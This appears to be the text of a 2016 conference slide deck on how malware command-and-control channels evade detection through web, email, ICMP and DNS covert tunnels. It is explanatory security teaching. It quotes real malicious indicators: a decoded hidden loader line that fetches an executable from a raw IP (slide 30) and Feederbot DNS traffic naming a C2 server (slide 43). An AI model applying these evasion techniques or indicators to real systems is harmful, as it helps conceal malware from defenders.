  • 1. MALWARE COMMAND AND CONTROL: EVASION TACTICS AND TECHNIQUES Avkash Kathiriya Information Security Learner Dhawal Shah Information Security Learner
  • 2. AGENDA • CKC (Cyber Kill Chain) Revision • What is Command and control? • What is Malware CnC? • Why CnC? • Channels of CnC • Some Advance CnC 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 2
  • 3. ./Shell> Cyber Kill Chain revision 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 3
  • 4. Our focus on this session will be Command and Control 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 4
  • 5. What is Command and Control?? 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 5
  • 6. C: Command and Control > CnC.txt Command Control & 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 6
  • 7. C: Command and Control > CnC.txt Command Control Idea is to give command to control your systems and accomplish your aim 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 7
  • 8. What is Malware CnC? Compromised system Command and control server Command Command Response Response Attacker 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 8
  • 9. Why Malware CnC?? 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 9
  • 10. Why Malware CnC? • Receive commands from operator • Send feedback to operator • Receive updates and modules from operator • Evade security • Intrusion detection • Antivirus • Incident response • Forensics analysis 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 10
  • 11. Evolution of Malware CnC 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 11
  • 12. 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 12 Evolution of CNC Techniques Mostly IRC based malwares Rapid evolution of CNC techniques P2P DNS HTTP Domain Flux Tunnelling
  • 13. Why this Evolution?? 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 13
  • 14. Answer is to stay undetected = Need of covert communication 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 14
  • 15. Covert communication? • Capability to transfer information between two hosts, which are not explicitly allowed to communicate. • a mechanism for sending and receiving information data between machines without alerting any firewalls and IDSs on the network. • You want to communicate with someone without being observed • Cryptography/Encryption is not good enough – You want to hide the fact you are communicating at all – Best way is to hide the communication in innocuous-looking network traffic or data – Firewall must let the traffic pass through 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 15
  • 16. Covert communication? DNS Requests DNS Reply Malicious DNS Requests Malicious DNS Reply It’s a method of performing malicious communication with the legitimate and basic channels which you can not block at perimeter level e.g. DNS in this case Internal Network 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 16
  • 17. How Malware CnC happens?? 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 17
  • 18. Before that lets first understand basic User communication channels 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 18
  • 19. Channels of “User” communication Endpoint Email Web Network User 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 19
  • 21. Just replace User with Malware! 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 21
  • 22. Channels of “Malware” communication Endpoint Email Web Network Malware 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 22
  • 23. Web Web Malware HTTP / 80 HTTPS / 443 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 23
  • 24. Web CnC? • Direct connection to Internet on port 80 • Which will be blocked in most of the cases • Identify Proxy being used and divert Web Cnc to proxy • Proxy needs authentication which malware anyway can get it • Reverse WWW shell • Looks ordinary http request on firewall to servers • Server sends back html resources interpreted as shell command • Eg. GoToMyPC 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 24
  • 25. Advance Web CnC? • Using HTTP GET and POST for communication • HTTP Tunneling • Downloading Information in favicon.ico  Extract info using LSB Stagno  Decrypt info using RC4 favicon.ico 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 25
  • 26. Steganography based Covert Channel 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 26
  • 27. Steganography based Covert Channel 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 27
  • 28. Steganography based Covert Channel 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 28
  • 29. Advance Web CnC? • Youtube as a malware CnC Attacker Endpoint 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 29
  • 30. Advance Web CnC? • HTTP Error messages HTTP/1.1 404 Not Found Date: Mon, 9 Jul 2015 06:13:37 GMT Server: Apache/2 X-Powered-By: PHP/5.3.29 Vary: Accept-Encoding,User-Agent Content-Length: 357 Connection: close Content-Type: text/html; charset=utf8 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /XXX/YYY.php was not found on this server.<P><HR><ADDRESS></ADDRESS></BODY></HTML><!-- DEBUG: MTQyODUyMTUyMzcyOTk5MyNsb2FkZXIgaHR0cDovLzExMS4xNzkuMzkuODMvZ29sZGVuMy5 leGUjMTQyOD UxMjA2MTc1NDYzNSNyYXRlIDYwIwDEBUG--> ============================================================================= Decoded Value: 1428521523729993#loader http://111.179.39.83/golden3.exe#1428512061754635#rate 60# 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 30
  • 31. Hiding commands in HTTP messages 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 31
  • 33. Email CnC? • It’s pretty simple just use SMTP channel for sending and receiving commands from your controller Endpoint Email Attacker Sending command through SMTP Receiving response through SMTP 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 33 Evasion techniques seen in this type of communication is use of Power shell
  • 35. Network CnC? Types of covert channel communication @ network layer • Storage Channels – Hide data within unused TCP/IP packet header fields • TCP Flags field, TCP ISN, etc. • Timing channels – Modulate system resources in such a way that a receiver can observe and decode it – Port Knocking, varying packet rates, etc. 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 35
  • 36. Network CnC? • Protocol Tunneling: – Protocol that carries data from another protocol. – Example: SSH – SSH allows to set up a secure connection between two computers. – Can use this connection for insecure protocols such as ftp. • Tunnel through any TCP / IP traffic – Insert data in unused or misused fields in the protocol header of packets, such as: – IP Identification. – TCP sequence number. – TCP acknowledgment number. 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 36
  • 37. Network CnC? • Hiding information on existing protocols such as HTTP, DNS, and ICMP • Pros/Cons with each protocol – HTTP good for large data transfer, but more conspicuous – DNS not great for data transfer, but good for C&C – ICMP is good for C&C but is often blocked • Author of The Rootkit Arsenal proposes writing your own TCP/IP stack using MS Windows NDIS • BitTorrent Tracker protocol tunneling 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 37
  • 38. Network CnC?  Example: LOKI  Attacker install Loki server (a.k.a. LokiD) on victim.  Attacker runs Loki client on his own machine.  Loki tunnels attackers commands:  Attacker writes shell commands.  Loki client sends out several ICMP packets to victim that contain part of the commands.  Loki server receives ICMP packets and extracts attacker command.  Loki server executes them.  Reversely, Loki server wraps responses in ICMP messages, sends them to the Loki client, which displays them.  Port scanners or netstat cannot detect Loki since ICMP does not use ports.  Only traces are the Loki server running as root and ICMP messages going back and forth. 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 38
  • 39. Network CnC? • ICMP Covert Tunnels • Mechanism • Use of Ping request /response • Tool: Ptunnel ((http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel- 0.71.tar.gz)) 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 39
  • 40. ICMP Covert Tunnels • Mechanism of ptunnel tool 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 40
  • 41. ICMP Covert Tunnels • Wireshark capture of ptunnel tool 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 41
  • 42. DNS Covert Tunnels Mechanism of DNS Covert Channel - Feederbot Normal: ;QUESTION newcommunitybank.com. IN A ;ANSWER newcommunitybank.com. 86400 IN A 74.54.82.153 =========================================================================== Malicious: ;QUESTION f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. IN ANY ;ANSWER f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. 0 IN TXT "aYpYOb/6L5NRMxDRbwQDrVfPJDw5yogih+zlfj+lQpRDPZE4n1DWB0M/l0J6YDp88Vgm" 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 42
  • 43. DNS Covert Tunnels Mechanism of DNS Covert Channel - Feederbot • 50-char system-dependent bot ID: f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4 • RC4-encrypted bootstrap traffic 0000 8E 68 00 00 0B 00 00 00 17 00 00 00 39 34 2E 32 .h..........94.2 0010 33 2E 36 2E 36 37 00 69 6D 61 67 65 73 2E 6D 6F 3.6.67.images.mo 0020 76 69 65 64 79 65 61 72 2E 6E 65 74 2E 00 3C viedyear.net..< • Contains a referral to the next C2 server node 94.23.6.67 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 43
  • 44. DNS Covert Tunnels • Tool: OzymanDNS 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 44
  • 45. DNS Covert Tunnels • WireShark Capture of OzymanDNS 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 45
  • 46. DNS Covert Tunnels • Packet Capture of OzymanDNS 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 46
  • 48. Endpoint CnC?? Endpoint CnC?? ??? 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 48
  • 49. Endpoint CnC?? Endpoint USB Not actual CnC, but methods of infection and communication was USB in this case. 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 49
  • 50. Conclusion • CnC is key for any malware to sustain it’s footprint • Techniques and tactics to evade the CnC channel has evolved from time to time • Idea is to hide in the mass and exploit the flows in traditional communication channels • Attackers stay connected with there target and keep on nurturing the malwares planted 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 50
  • 51. References • Lockheed Martin Cyber Kill Chain • SANS Institute – Covert channels • Introduction to malicious code – Erland Jonsson • Black hat EU15 – Hiding In Plain Sight 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 51
  • 52. 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 52 • Twitter : @avkashk • Blog: www.avkashk.wordpress.com or LinkedIn Pulse (Avkash Kathiriya) • Email : avkashk@null.co.in • Twitter:@shahdhawal • Email: shah.dhawal.s@gmail.com